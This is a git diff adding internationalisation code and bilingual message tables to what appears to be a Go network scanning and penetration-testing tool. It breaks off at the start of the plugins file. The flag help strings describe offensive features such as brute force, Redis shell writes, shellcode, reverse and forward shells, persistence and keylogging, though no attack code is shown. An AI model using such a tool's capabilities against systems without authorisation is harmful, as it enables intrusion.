+ if !m.IsEnabled() {
+ // 如果禁用国际化,返回原始键名
+ if len(args) > 0 {
+ return fmt.Sprintf(key, args...)
+ }
+ return key
+ }
+
+ m.mu.RLock()
+ currentLang := m.currentLanguage
+ fallbackLang := m.fallbackLanguage
+ m.mu.RUnlock()
+
+ // 尝试获取当前语言的消息
+ if message, exists := m.GetMessage(key, currentLang); exists {
+ if len(args) > 0 {
+ return fmt.Sprintf(message, args...)
+ }
+ return message
+ }
+
+ // 回退到回退语言
+ if currentLang != fallbackLang {
+ if message, exists := m.GetMessage(key, fallbackLang); exists {
+ if len(args) > 0 {
+ return fmt.Sprintf(message, args...)
+ }
+ return message
+ }
+ }
+
+ // 如果都没找到,返回键名作为兜底
+ if len(args) > 0 {
+ return fmt.Sprintf(key, args...)
+ }
+ return key
+}
+
+// =============================================================================================
+// 已删除的死代码函数(未使用):GetTextWithLanguage
+// =============================================================================================
+
+// =============================================================================
+// 全局访问函数
+// =============================================================================
+
+// SetLanguage 设置全局语言
+func SetLanguage(lang string) {
+ globalManager.SetLanguage(lang)
+}
+
+// AddMessages 批量添加消息到全局管理器
+func AddMessages(messages map[string]map[string]string) {
+ globalManager.AddMessages(messages)
+}
+
+// GetText 从全局管理器获取国际化文本
+func GetText(key string, args ...interface{}) string {
+ return globalManager.GetText(key, args...)
+}
+
+// GetExploitMethodName 获取利用方法的本地化名称
+func GetExploitMethodName(methodName string) string {
+ // 尝试获取本地化的方法名称
+ key := fmt.Sprintf("exploit_method_name_%s", methodName)
+ localizedName := globalManager.GetText(key)
+
+ // 如果没有找到对应的本地化名称,返回原始名称
+ if localizedName == key {
+ return methodName
+ }
+ return localizedName
+}
+
+// =============================================================================================
+// 已删除的死代码函数(未使用):
+// GetGlobalManager, GetLanguage, AddMessage, GetTextWithLanguage,
+// Enable, Disable, IsEnabled, HasMessage, GetMessageCount, GetSupportedLanguages
+// =============================================================================================
+
+// =============================================================================
+// 初始化函数
+// =============================================================================
+
+// init 初始化全局国际化管理器
+func init() {
+ // 设置默认配置
+ globalManager.SetLanguage(DefaultLanguage)
+ globalManager.SetFallbackLanguage(FallbackLanguage)
+ globalManager.Enable()
+}
diff --git a/common/i18n/messages/config.go b/common/i18n/messages/config.go
new file mode 100644
index 0000000..05153e1
--- /dev/null
+++ b/common/i18n/messages/config.go
@@ -0,0 +1,79 @@
+package messages
+
+/*
+config.go - 配置相关消息
+
+包含配置管理、验证、同步等相关的
+国际化消息定义。
+*/
+
+// ConfigMessages 配置相关消息
+var ConfigMessages = map[string]map[string]string{
+ // ========================= 配置相关消息 =========================
+ "config_sync_start": {
+ LangZH: "开始同步配置",
+ LangEN: "Starting configuration sync",
+ },
+ "config_sync_complete": {
+ LangZH: "配置同步完成",
+ LangEN: "Configuration sync completed",
+ },
+ "config_validation_start": {
+ LangZH: "开始配置验证",
+ LangEN: "Starting configuration validation",
+ },
+ "config_validation_complete": {
+ LangZH: "配置验证完成",
+ LangEN: "Configuration validation completed",
+ },
+ "config_invalid_scan_mode": {
+ LangZH: "无效的扫描模式: %s",
+ LangEN: "Invalid scan mode: %s",
+ },
+ "config_invalid_thread_num": {
+ LangZH: "无效的线程数: %d",
+ LangEN: "Invalid thread number: %d",
+ },
+ "config_invalid_timeout": {
+ LangZH: "无效的超时时间: %v",
+ LangEN: "Invalid timeout: %v",
+ },
+ "config_invalid_proxy": {
+ LangZH: "无效的代理配置: %s",
+ LangEN: "Invalid proxy configuration: %s",
+ },
+ "config_missing_required": {
+ LangZH: "缺少必需的配置项: %s",
+ LangEN: "Missing required configuration: %s",
+ },
+ "config_load_default": {
+ LangZH: "加载默认配置",
+ LangEN: "Loading default configuration",
+ },
+ "config_override_detected": {
+ LangZH: "检测到配置覆盖: %s",
+ LangEN: "Configuration override detected: %s",
+ },
+ "config_web_timeout_warning": {
+ LangZH: "Web超时时间大于普通超时时间,可能导致不期望的行为",
+ LangEN: "Web timeout is larger than normal timeout, may cause unexpected behavior",
+ },
+
+ // ========================= 验证相关消息 =========================
+ "validation_start": {
+ LangZH: "开始配置验证",
+ LangEN: "Starting configuration validation",
+ },
+ "validation_complete": {
+ LangZH: "配置验证完成",
+ LangEN: "Configuration validation completed",
+ },
+ "validation_warning": {
+ LangZH: "验证警告: %s",
+ LangEN: "Validation warning: %s",
+ },
+ "validation_error": {
+ LangZH: "验证错误: %s",
+ LangEN: "Validation error: %s",
+ },
+}
\ No newline at end of file
diff --git a/common/i18n/messages/constants.go b/common/i18n/messages/constants.go
new file mode 100644
index 0000000..ae1b3ef
--- /dev/null
+++ b/common/i18n/messages/constants.go
@@ -0,0 +1,13 @@
+package messages
+
+/*
+constants.go - 消息包常量定义
+
+包含消息包中使用的语言常量,避免循环导入问题。
+*/
+
+// 语言常量
+const (
+ LangZH = "zh" // 中文
+ LangEN = "en" // 英文
+)
\ No newline at end of file
diff --git a/common/i18n/messages/core.go b/common/i18n/messages/core.go
new file mode 100644
index 0000000..141b40b
--- /dev/null
+++ b/common/i18n/messages/core.go
@@ -0,0 +1,93 @@
+package messages
+
+/*
+core.go - 核心系统消息
+
+包含系统核心功能的国际化消息,包括扫描流程、
+系统状态、通用错误等基础消息。
+*/
+
+// CoreMessages 核心系统消息
+var CoreMessages = map[string]map[string]string{
+ // ========================= 系统状态消息 =========================
+ "status_scan_start": {
+ LangZH: "开始扫描",
+ LangEN: "Starting scan",
+ },
+ "status_scan_complete": {
+ LangZH: "扫描完成",
+ LangEN: "Scan completed",
+ },
+ "status_scan_progress": {
+ LangZH: "扫描进度: %d/%d",
+ LangEN: "Scan progress: %d/%d",
+ },
+ "status_target_found": {
+ LangZH: "发现目标: %s",
+ LangEN: "Target found: %s",
+ },
+ "status_service_detected": {
+ LangZH: "检测到服务: %s",
+ LangEN: "Service detected: %s",
+ },
+ "status_vuln_found": {
+ LangZH: "发现漏洞: %s",
+ LangEN: "Vulnerability found: %s",
+ },
+ "status_connection_failed": {
+ LangZH: "连接失败: %s",
+ LangEN: "Connection failed: %s",
+ },
+ "status_timeout": {
+ LangZH: "连接超时: %s",
+ LangEN: "Connection timeout: %s",
+ },
+
+ // ========================= 通用状态消息 =========================
+ "status_initializing": {
+ LangZH: "正在初始化...",
+ LangEN: "Initializing...",
+ },
+ "status_processing": {
+ LangZH: "正在处理...",
+ LangEN: "Processing...",
+ },
+ "status_completed": {
+ LangZH: "已完成",
+ LangEN: "Completed",
+ },
+ "status_failed": {
+ LangZH: "失败",
+ LangEN: "Failed",
+ },
+ "status_cancelled": {
+ LangZH: "已取消",
+ LangEN: "Cancelled",
+ },
+ "status_ready": {
+ LangZH: "就绪",
+ LangEN: "Ready",
+ },
+
+ // ========================= 文件操作消息 =========================
+ "file_read_start": {
+ LangZH: "开始读取文件: %s",
+ LangEN: "Starting to read file: %s",
+ },
+ "file_read_complete": {
+ LangZH: "文件读取完成: %s",
+ LangEN: "File reading completed: %s",
+ },
+ "file_read_error": {
+ LangZH: "读取文件错误: %s",
+ LangEN: "File reading error: %s",
+ },
+ "file_not_exist": {
+ LangZH: "文件不存在: %s",
+ LangEN: "File does not exist: %s",
+ },
+ "file_empty": {
+ LangZH: "文件为空: %s",
+ LangEN: "File is empty: %s",
+ },
+}
\ No newline at end of file
diff --git a/common/i18n/messages/error.go b/common/i18n/messages/error.go
new file mode 100644
index 0000000..4cb4490
--- /dev/null
+++ b/common/i18n/messages/error.go
@@ -0,0 +1,33 @@
+package messages
+
+/*
+error.go - 通用错误消息
+
+包含通用错误、异常处理等相关的
+国际化消息定义。
+*/
+
+// ErrorMessages 通用错误消息
+var ErrorMessages = map[string]map[string]string{
+ // ========================= 通用错误消息 =========================
+ "error_occurred": {
+ LangZH: "错误: %v",
+ LangEN: "Error: %v",
+ },
+ "error_unknown": {
+ LangZH: "未知错误",
+ LangEN: "Unknown error",
+ },
+ "error_not_implemented": {
+ LangZH: "功能未实现",
+ LangEN: "Feature not implemented",
+ },
+ "error_permission_denied": {
+ LangZH: "权限不足",
+ LangEN: "Permission denied",
+ },
+ "error_resource_busy": {
+ LangZH: "资源忙碌",
+ LangEN: "Resource busy",
+ },
+}
\ No newline at end of file
diff --git a/common/i18n/messages/flag.go b/common/i18n/messages/flag.go
new file mode 100644
index 0000000..dd661ba
--- /dev/null
+++ b/common/i18n/messages/flag.go
@@ -0,0 +1,273 @@
+package messages
+
+/*
+flag.go - 命令行参数消息
+
+包含命令行参数帮助信息等相关的
+国际化消息定义。
+*/
+
+// FlagMessages 命令行参数消息
+var FlagMessages = map[string]map[string]string{
+ // ========================= Flag参数帮助消息 =========================
+ "flag_host": {
+ LangZH: "目标主机: IP, IP段, IP段文件, 域名",
+ LangEN: "Target host: IP, IP range, IP file, domain",
+ },
+ "flag_exclude_hosts": {
+ LangZH: "排除主机",
+ LangEN: "Exclude hosts",
+ },
+ "flag_ports": {
+ LangZH: "端口: 默认1000个常用端口",
+ LangEN: "Ports: default 1000 common ports",
+ },
+ "flag_exclude_ports": {
+ LangZH: "排除端口",
+ LangEN: "Exclude ports",
+ },
+ "flag_hosts_file": {
+ LangZH: "主机文件",
+ LangEN: "Hosts file",
+ },
+ "flag_ports_file": {
+ LangZH: "端口文件",
+ LangEN: "Ports file",
+ },
+ "flag_scan_mode": {
+ LangZH: "扫描模式: all(全部), icmp(存活探测), 或指定插件名称",
+ LangEN: "Scan mode: all(all plugins), icmp(alive detection), or specific plugin names",
+ },
+ "flag_thread_num": {
+ LangZH: "端口扫描线程数",
+ LangEN: "Port scan thread count",
+ },
+ "flag_timeout": {
+ LangZH: "端口扫描超时时间",
+ LangEN: "Port scan timeout",
+ },
+ "flag_module_thread_num": {
+ LangZH: "模块线程数",
+ LangEN: "Module thread count",
+ },
+ "flag_global_timeout": {
+ LangZH: "全局超时时间",
+ LangEN: "Global timeout",
+ },
+ "flag_live_top": {
+ LangZH: "存活主机显示数量",
+ LangEN: "Live hosts display count",
+ },
+ "flag_disable_ping": {
+ LangZH: "禁用ping探测",
+ LangEN: "Disable ping detection",
+ },
+ "flag_enable_fingerprint": {
+ LangZH: "启用指纹识别",
+ LangEN: "Enable fingerprinting",
+ },
+ "flag_local_mode": {
+ LangZH: "本地扫描模式",
+ LangEN: "Local scan mode",
+ },
+ "flag_alive_only": {
+ LangZH: "仅进行存活探测",
+ LangEN: "Alive detection only",
+ },
+ "param_conflict_ao_icmp_both": {
+ LangZH: "提示: 同时指定了 -ao 和 -m icmp,两者功能相同,使用存活探测模式",
+ LangEN: "Note: Both -ao and -m icmp specified, both enable alive detection mode",
+ },
+ "flag_username": {
+ LangZH: "用户名",
+ LangEN: "Username",
+ },
+ "flag_password": {
+ LangZH: "密码",
+ LangEN: "Password",
+ },
+ "flag_add_users": {
+ LangZH: "额外用户名",
+ LangEN: "Additional usernames",
+ },
+ "flag_add_passwords": {
+ LangZH: "额外密码",
+ LangEN: "Additional passwords",
+ },
+ "flag_users_file": {
+ LangZH: "用户名字典文件",
+ LangEN: "Username dictionary file",
+ },
+ "flag_passwords_file": {
+ LangZH: "密码字典文件",
+ LangEN: "Password dictionary file",
+ },
+ "flag_hash_file": {
+ LangZH: "哈希文件",
+ LangEN: "Hash file",
+ },
+ "flag_hash_value": {
+ LangZH: "哈希值",
+ LangEN: "Hash value",
+ },
+ "flag_domain": {
+ LangZH: "域名",
+ LangEN: "Domain name",
+ },
+ "flag_ssh_key": {
+ LangZH: "SSH私钥文件",
+ LangEN: "SSH private key file",
+ },
+ "flag_target_url": {
+ LangZH: "目标URL",
+ LangEN: "Target URL",
+ },
+ "flag_urls_file": {
+ LangZH: "URL文件",
+ LangEN: "URLs file",
+ },
+ "flag_cookie": {
+ LangZH: "HTTP Cookie",
+ LangEN: "HTTP Cookie",
+ },
+ "flag_web_timeout": {
+ LangZH: "Web超时时间",
+ LangEN: "Web timeout",
+ },
+ "flag_http_proxy": {
+ LangZH: "HTTP代理",
+ LangEN: "HTTP proxy",
+ },
+ "flag_poc_path": {
+ LangZH: "POC脚本路径",
+ LangEN: "POC script path",
+ },
+ "flag_poc_name": {
+ LangZH: "POC名称",
+ LangEN: "POC name",
+ },
+ "flag_poc_full": {
+ LangZH: "全量POC扫描",
+ LangEN: "Full POC scan",
+ },
+ "flag_dns_log": {
+ LangZH: "DNS日志记录",
+ LangEN: "DNS logging",
+ },
+ "flag_poc_num": {
+ LangZH: "POC并发数",
+ LangEN: "POC concurrency",
+ },
+ "flag_no_poc": {
+ LangZH: "禁用POC扫描",
+ LangEN: "Disable POC scan",
+ },
+ "flag_redis_file": {
+ LangZH: "Redis文件",
+ LangEN: "Redis file",
+ },
+ "flag_redis_shell": {
+ LangZH: "Redis Shell",
+ LangEN: "Redis Shell",
+ },
+ "flag_redis_write_path": {
+ LangZH: "Redis写入路径",
+ LangEN: "Redis write path",
+ },
+ "flag_redis_write_content": {
+ LangZH: "Redis写入内容",
+ LangEN: "Redis write content",
+ },
+ "flag_redis_write_file": {
+ LangZH: "Redis写入文件",
+ LangEN: "Redis write file",
+ },
+ "flag_disable_brute": {
+ LangZH: "禁用暴力破解",
+ LangEN: "Disable brute force",
+ },
+ "flag_max_retries": {
+ LangZH: "最大重试次数",
+ LangEN: "Maximum retries",
+ },
+ "flag_output_file": {
+ LangZH: "输出文件",
+ LangEN: "Output file",
+ },
+ "flag_output_format": {
+ LangZH: "输出格式: txt, json, csv",
+ LangEN: "Output format: txt, json, csv",
+ },
+ "flag_disable_save": {
+ LangZH: "禁用结果保存",
+ LangEN: "Disable result saving",
+ },
+ "flag_silent_mode": {
+ LangZH: "静默模式",
+ LangEN: "Silent mode",
+ },
+ "flag_no_color": {
+ LangZH: "禁用颜色输出",
+ LangEN: "Disable color output",
+ },
+ "flag_log_level": {
+ LangZH: "日志级别",
+ LangEN: "Log level",
+ },
+ "flag_disable_progress": {
+ LangZH: "禁用进度条",
+ LangEN: "Disable progress bar",
+ },
+ "flag_shellcode": {
+ LangZH: "Shellcode",
+ LangEN: "Shellcode",
+ },
+ "flag_reverse_shell_target": {
+ LangZH: "反弹Shell目标地址:端口 (如: 192.168.1.100:4444)",
+ LangEN: "Reverse shell target address:port (e.g.: 192.168.1.100:4444)",
+ },
+ "flag_socks5_proxy": {
+ LangZH: "使用SOCKS5代理 (如: 127.0.0.1:1080)",
+ LangEN: "Use SOCKS5 proxy (e.g.: 127.0.0.1:1080)",
+ },
+ "flag_start_socks5_server": {
+ LangZH: "启动SOCKS5代理服务器端口 (如: 1080)",
+ LangEN: "Start SOCKS5 proxy server on port (e.g.: 1080)",
+ },
+ "flag_forward_shell_port": {
+ LangZH: "启动正向Shell服务器端口 (如: 4444)",
+ LangEN: "Start forward shell server on port (e.g.: 4444)",
+ },
+ "flag_persistence_file": {
+ LangZH: "Linux持久化目标文件路径 (支持.elf/.sh文件)",
+ LangEN: "Linux persistence target file path (supports .elf/.sh files)",
+ },
+ "flag_win_pe_file": {
+ LangZH: "Windows持久化目标PE文件路径 (支持.exe/.dll文件)",
+ LangEN: "Windows persistence target PE file path (supports .exe/.dll files)",
+ },
+ "flag_keylogger_output": {
+ LangZH: "键盘记录输出文件路径",
+ LangEN: "Keylogger output file path",
+ },
+ "flag_download_url": {
+ LangZH: "要下载的文件URL",
+ LangEN: "URL of the file to download",
+ },
+ "flag_download_path": {
+ LangZH: "下载文件保存路径",
+ LangEN: "Save path for downloaded file",
+ },
+ "flag_language": {
+ LangZH: "语言: zh, en",
+ LangEN: "Language: zh, en",
+ },
+ "flag_help": {
+ LangZH: "显示帮助信息",
+ LangEN: "Show help information",
+ },
+ "flag_version": {
+ LangZH: "显示版本信息",
+ LangEN: "Show version information",
+ },
+}
\ No newline at end of file
diff --git a/common/i18n/messages/network.go b/common/i18n/messages/network.go
new file mode 100644
index 0000000..ee7c7e5
--- /dev/null
+++ b/common/i18n/messages/network.go
@@ -0,0 +1,67 @@
+package messages
+
+/*
+network.go - 网络相关消息
+
+包含网络配置、代理设置、连接管理等相关的
+国际化消息定义。
+*/
+
+// NetworkMessages 网络相关消息
+var NetworkMessages = map[string]map[string]string{
+ // ========================= 网络配置消息 =========================
+ "network_http_proxy": {
+ LangZH: "HTTP代理: %s",
+ LangEN: "HTTP proxy: %s",
+ },
+ "network_socks5_proxy": {
+ LangZH: "Socks5代理: %s",
+ LangEN: "Socks5 proxy: %s",
+ },
+ "network_timeout": {
+ LangZH: "连接超时: %v",
+ LangEN: "Connection timeout: %v",
+ },
+ "network_web_timeout": {
+ LangZH: "Web超时: %v",
+ LangEN: "Web timeout: %v",
+ },
+
+ // ========================= 代理系统消息 =========================
+ "proxy_init_start": {
+ LangZH: "初始化代理系统",
+ LangEN: "Initializing proxy system",
+ },
+ "proxy_init_success": {
+ LangZH: "代理系统初始化成功",
+ LangEN: "Proxy system initialized successfully",
+ },
+ "proxy_init_failed": {
+ LangZH: "初始化代理配置失败: %v",
+ LangEN: "Failed to initialize proxy configuration: %v",
+ },
+ "proxy_config_sync_failed": {
+ LangZH: "代理配置同步失败: %v",
+ LangEN: "Failed to sync proxy configuration: %v",
+ },
+ "proxy_enabled": {
+ LangZH: "代理已启用: %s %s",
+ LangEN: "Proxy enabled: %s %s",
+ },
+ "proxy_disabled": {
+ LangZH: "代理已禁用",
+ LangEN: "Proxy disabled",
+ },
+ "proxy_connection_failed": {
+ LangZH: "代理连接失败: %v",
+ LangEN: "Proxy connection failed: %v",
+ },
+ "socks5_create_failed": {
+ LangZH: "创建SOCKS5连接失败: %v",
+ LangEN: "Failed to create SOCKS5 connection: %v",
+ },
+ "tls_conn_failed": {
+ LangZH: "TLS连接失败: %v",
+ LangEN: "TLS connection failed: %v",
+ },
+}
\ No newline at end of file
diff --git a/common/i18n/messages/output.go b/common/i18n/messages/output.go
new file mode 100644
index 0000000..c89a410
--- /dev/null
+++ b/common/i18n/messages/output.go
@@ -0,0 +1,109 @@
+package messages
+
+/*
+output.go - 输出相关消息
+
+包含输出系统、文件保存、格式化等相关的
+国际化消息定义。
+*/
+
+// OutputMessages 输出相关消息
+var OutputMessages = map[string]map[string]string{
+ // ========================= 输出系统消息 =========================
+ "output_init_start": {
+ LangZH: "初始化输出系统",
+ LangEN: "Initializing output system",
+ },
+ "output_init_success": {
+ LangZH: "输出系统初始化成功",
+ LangEN: "Output system initialized successfully",
+ },
+ "output_init_failed": {
+ LangZH: "输出系统初始化失败: %v",
+ LangEN: "Failed to initialize output system: %v",
+ },
+ "output_format_invalid": {
+ LangZH: "无效的输出格式: %s",
+ LangEN: "Invalid output format: %s",
+ },
+ "output_path_empty": {
+ LangZH: "输出路径为空",
+ LangEN: "Output path is empty",
+ },
+ "output_not_init": {
+ LangZH: "输出系统未初始化",
+ LangEN: "Output system not initialized",
+ },
+ "output_saving_result": {
+ LangZH: "保存扫描结果: %s -> %s",
+ LangEN: "Saving scan result: %s -> %s",
+ },
+ "output_save_failed": {
+ LangZH: "保存结果失败: %v",
+ LangEN: "Failed to save result: %v",
+ },
+ "output_closing": {
+ LangZH: "关闭输出系统",
+ LangEN: "Closing output system",
+ },
+ "output_closed": {
+ LangZH: "输出系统已关闭",
+ LangEN: "Output system closed",
+ },
+ "output_close_failed": {
+ LangZH: "关闭输出系统失败: %v",
+ LangEN: "Failed to close output system: %v",
+ },
+ "output_config_nil": {
+ LangZH: "配置不能为空",
+ LangEN: "Configuration cannot be nil",
+ },
+ "output_unsupported_format": {
+ LangZH: "不支持的输出格式: %s",
+ LangEN: "Unsupported output format: %s",
+ },
+ "output_writer_init_failed": {
+ LangZH: "初始化写入器失败: %v",
+ LangEN: "Failed to initialize writer: %v",
+ },
+ "output_writer_closed": {
+ LangZH: "写入器已关闭",
+ LangEN: "Writer is closed",
+ },
+ "output_manager_not_init": {
+ LangZH: "输出管理器未初始化",
+ LangEN: "Output manager not initialized",
+ },
+ "output_manager_closed": {
+ LangZH: "输出管理器已关闭",
+ LangEN: "Output manager is closed",
+ },
+ "output_write_failed": {
+ LangZH: "写入结果失败: %v",
+ LangEN: "Failed to write result: %v",
+ },
+ "output_flush_failed": {
+ LangZH: "刷新写入器失败: %v",
+ LangEN: "Failed to flush writer: %v",
+ },
+ "output_create_file_failed": {
+ LangZH: "创建%s文件失败: %v",
+ LangEN: "Failed to create %s file: %v",
+ },
+ "output_write_header_failed": {
+ LangZH: "写入CSV头部失败: %v",
+ LangEN: "Failed to write CSV header: %v",
+ },
+ "output_open_file_failed": {
+ LangZH: "打开CSV文件失败: %v",
+ LangEN: "Failed to open CSV file: %v",
+ },
+ "output_read_file_failed": {
+ LangZH: "读取CSV文件失败: %v",
+ LangEN: "Failed to read CSV file: %v",
+ },
+ "output_parse_time_failed": {
+ LangZH: "无法解析时间: %s",
+ LangEN: "Failed to parse time: %s",
+ },
+}
\ No newline at end of file
diff --git a/common/i18n/messages/parse.go b/common/i18n/messages/parse.go
new file mode 100644
index 0000000..ed2a5f0
--- /dev/null
+++ b/common/i18n/messages/parse.go
@@ -0,0 +1,287 @@
+package messages
+
+/*
+parse.go - 解析相关消息
+
+包含参数解析、目标解析、凭据解析等相关的
+国际化消息定义。
+*/
+
+// ParseMessages 解析相关消息
+var ParseMessages = map[string]map[string]string{
+ // ========================= 解析错误消息 =========================
+ "parse_error_empty_input": {
+ LangZH: "输入参数为空",
+ LangEN: "Input parameters are empty",
+ },
+ "parse_error_config_failed": {
+ LangZH: "解析配置失败: %v",
+ LangEN: "Failed to parse configuration: %v",
+ },
+ "parse_error_parser_not_init": {
+ LangZH: "解析器未初始化",
+ LangEN: "Parser not initialized",
+ },
+ "parse_error_credential_failed": {
+ LangZH: "凭据解析失败: %v",
+ LangEN: "Failed to parse credentials: %v",
+ },
+ "parse_error_target_failed": {
+ LangZH: "目标解析失败: %v",
+ LangEN: "Failed to parse targets: %v",
+ },
+ "parse_error_network_failed": {
+ LangZH: "网络解析失败: %v",
+ LangEN: "Failed to parse network configuration: %v",
+ },
+ "parse_error_validation_failed": {
+ LangZH: "验证失败: %v",
+ LangEN: "Validation failed: %v",
+ },
+ "parse_error_update_vars_failed": {
+ LangZH: "更新全局变量失败: %v",
+ LangEN: "Failed to update global variables: %v",
+ },
+ "parse_error_target_empty": {
+ LangZH: "目标输入为空",
+ LangEN: "Target input is empty",
+ },
+ "parse_error_credential_empty": {
+ LangZH: "凭据输入为空",
+ LangEN: "Credential input is empty",
+ },
+ "parse_error_network_empty": {
+ LangZH: "网络配置为空",
+ LangEN: "Network configuration is empty",
+ },
+ "parse_error_invalid_ip": {
+ LangZH: "无效的IP地址: %s",
+ LangEN: "Invalid IP address: %s",
+ },
+ "parse_error_invalid_port": {
+ LangZH: "无效的端口: %s",
+ LangEN: "Invalid port: %s",
+ },
+ "parse_error_invalid_url": {
+ LangZH: "无效的URL: %s",
+ LangEN: "Invalid URL: %s",
+ },
+ "parse_error_file_not_found": {
+ LangZH: "文件未找到: %s",
+ LangEN: "File not found: %s",
+ },
+ "parse_error_file_read_failed": {
+ LangZH: "读取文件失败: %s",
+ LangEN: "Failed to read file: %s",
+ },
+
+ // ========================= 目标解析消息 =========================
+ "target_parse_start": {
+ LangZH: "开始解析目标",
+ LangEN: "Starting target parsing",
+ },
+ "target_parse_complete": {
+ LangZH: "目标解析完成",
+ LangEN: "Target parsing completed",
+ },
+ "target_hosts_found": {
+ LangZH: "目标主机: %s",
+ LangEN: "Target hosts: %s",
+ },
+ "target_hosts_count": {
+ LangZH: "目标主机: %s ... (共%d个)",
+ LangEN: "Target hosts: %s ... (total %d)",
+ },
+ "target_urls_found": {
+ LangZH: "目标URL: %s",
+ LangEN: "Target URLs: %s",
+ },
+ "target_urls_count": {
+ LangZH: "目标URL: %s ... (共%d个)",
+ LangEN: "Target URLs: %s ... (total %d)",
+ },
+ "target_ports_found": {
+ LangZH: "扫描端口: %s",
+ LangEN: "Scan ports: %s",
+ },
+ "target_ports_count": {
+ LangZH: "扫描端口: %s ... (共%d个)",
+ LangEN: "Scan ports: %s ... (total %d)",
+ },
+ "target_exclude_ports": {
+ LangZH: "排除端口: %s",
+ LangEN: "Exclude ports: %s",
+ },
+ "target_local_mode": {
+ LangZH: "本地扫描模式",
+ LangEN: "Local scan mode",
+ },
+
+ // ========================= 凭据相关消息 =========================
+ "credential_username_count": {
+ LangZH: "用户名数量: %d",
+ LangEN: "Username count: %d",
+ },
+ "credential_password_count": {
+ LangZH: "密码数量: %d",
+ LangEN: "Password count: %d",
+ },
+ "credential_hash_count": {
+ LangZH: "Hash数量: %d",
+ LangEN: "Hash count: %d",
+ },
+
+ // ========================= Parsers包专用消息 =========================
+ "parser_validation_input_empty": {
+ LangZH: "验证输入为空",
+ LangEN: "Validation input is empty",
+ },
+ "parser_empty_input": {
+ LangZH: "输入参数为空",
+ LangEN: "Input parameters are empty",
+ },
+ "parser_file_empty": {
+ LangZH: "文件名为空",
+ LangEN: "File name is empty",
+ },
+ "parser_file_too_big": {
+ LangZH: "文件过大: %d bytes, 最大限制: %d bytes",
+ LangEN: "File too large: %d bytes, max limit: %d bytes",
+ },
+ "parser_cannot_open_file": {
+ LangZH: "无法打开文件",
+ LangEN: "Cannot open file",
+ },
+ "parser_file_not_exists": {
+ LangZH: "文件不存在或无法访问",
+ LangEN: "File does not exist or cannot be accessed",
+ },
+ "parser_file_read_timeout": {
+ LangZH: "文件读取超时",
+ LangEN: "File read timeout",
+ },
+ "parser_file_scan_failed": {
+ LangZH: "文件扫描失败",
+ LangEN: "File scan failed",
+ },
+ "parser_username_too_long": {
+ LangZH: "用户名过长: %d字符,最大允许: %d",
+ LangEN: "Username too long: %d characters, max allowed: %d",
+ },
+ "parser_username_invalid_chars": {
+ LangZH: "用户名包含非法字符",
+ LangEN: "Username contains invalid characters",
+ },
+ "parser_password_empty": {
+ LangZH: "不允许空密码",
+ LangEN: "Empty passwords not allowed",
+ },
+ "parser_password_too_long": {
+ LangZH: "密码过长: %d字符,最大允许: %d",
+ LangEN: "Password too long: %d characters, max allowed: %d",
+ },
+ "parser_hash_empty": {
+ LangZH: "哈希值为空",
+ LangEN: "Hash value is empty",
+ },
+ "parser_hash_invalid_format": {
+ LangZH: "哈希值格式无效,需要32位十六进制字符",
+ LangEN: "Invalid hash format, requires 32-character hexadecimal",
+ },
+ "parser_proxy_url_invalid": {
+ LangZH: "代理URL格式无效: %v",
+ LangEN: "Invalid proxy URL format: %v",
+ },
+ "parser_proxy_protocol_unsupported": {
+ LangZH: "不支持的代理协议: %s",
+ LangEN: "Unsupported proxy protocol: %s",
+ },
+ "parser_proxy_host_empty": {
+ LangZH: "代理主机名为空",
+ LangEN: "Proxy hostname is empty",
+ },
+ "parser_proxy_port_invalid": {
+ LangZH: "代理端口号无效: %s",
+ LangEN: "Invalid proxy port: %s",
+ },
+ "parser_proxy_port_out_of_range": {
+ LangZH: "代理端口号超出范围: %d",
+ LangEN: "Proxy port out of range: %d",
+ },
+ "parser_proxy_insecure": {
+ LangZH: "不允许使用不安全的HTTP代理",
+ LangEN: "Insecure HTTP proxy not allowed",
+ },
+ "parser_user_agent_too_long": {
+ LangZH: "用户代理字符串过长",
+ LangEN: "User agent string too long",
+ },
+ "parser_user_agent_invalid_chars": {
+ LangZH: "用户代理包含非法字符",
+ LangEN: "User agent contains invalid characters",
+ },
+ "parser_cookie_too_long": {
+ LangZH: "Cookie字符串过长",
+ LangEN: "Cookie string too long",
+ },
+ "parser_error_count_limit": {
+ LangZH: "错误数量过多,仅显示前%d个",
+ LangEN: "Too many errors, showing only first %d",
+ },
+ "parser_no_scan_target": {
+ LangZH: "未指定任何扫描目标",
+ LangEN: "No scan targets specified",
+ },
+ "parser_no_target_default": {
+ LangZH: "未指定扫描目标,将使用默认配置",
+ LangEN: "No scan targets specified, using default configuration",
+ },
+ "parser_multiple_scan_modes": {
+ LangZH: "不能同时使用多种扫描模式",
+ LangEN: "Cannot use multiple scan modes simultaneously",
+ },
+ "parser_proxy_ping_warning": {
+ LangZH: "使用代理时建议禁用Ping检测",
+ LangEN: "Recommend disabling Ping detection when using proxy",
+ },
+ "parser_multiple_modes_conflict": {
+ LangZH: "不能同时指定多种扫描模式(主机扫描、URL扫描、本地模式)",
+ LangEN: "Cannot specify multiple scan modes (host scan, URL scan, local mode) simultaneously",
+ },
+ "parser_proxy_ping_fail": {
+ LangZH: "代理模式下Ping检测可能失效",
+ LangEN: "Ping detection may fail in proxy mode",
+ },
+ "parser_exclude_ports_invalid": {
+ LangZH: "排除端口无效",
+ LangEN: "Exclude ports invalid",
+ },
+ "parser_many_targets_warning": {
+ LangZH: "大量目标(%d),可能耗时较长",
+ LangEN: "Large number of targets (%d), may take a long time",
+ },
+ "parser_too_many_ports": {
+ LangZH: "端口数量过多",
+ LangEN: "Too many ports",
+ },
+ "parser_timeout_too_short": {
+ LangZH: "超时过短",
+ LangEN: "Timeout too short",
+ },
+ "parser_timeout_too_long": {
+ LangZH: "超时过长",
+ LangEN: "Timeout too long",
+ },
+ "parser_invalid_scan_mode": {
+ LangZH: "无效的扫描模式: %s",
+ LangEN: "Invalid scan mode: %s",
+ },
+ "parse_error_invalid_target_format": {
+ LangZH: "无效的目标地址格式: %s",
+ LangEN: "Invalid target address format: %s",
+ },
+ "parse_error_no_hosts": {
+ LangZH: "解析后没有找到有效的目标主机",
+ LangEN: "No valid target hosts found after parsing",
+ },
+}
\ No newline at end of file
diff --git a/common/i18n/messages/plugins.go b/common/i18n/messages/plugins.go
new file mode 100644
index 0000000..3f3bab0
--- /dev/null
+++ b/common/i18n/messages/plugins.go
@@ -0,0 +1,903 @@
+package messages
+
+/*
+plugins.go - 插件相关消息
+
+包含新插件架构中各种插件的国际化消息定义,
+包括扫描、利用、认证等相关消息。
+*/
+
+// PluginMessages 插件相关消息
+var PluginMessages = map[string]map[string]string{
+ // ========================= 通用插件消息 =========================
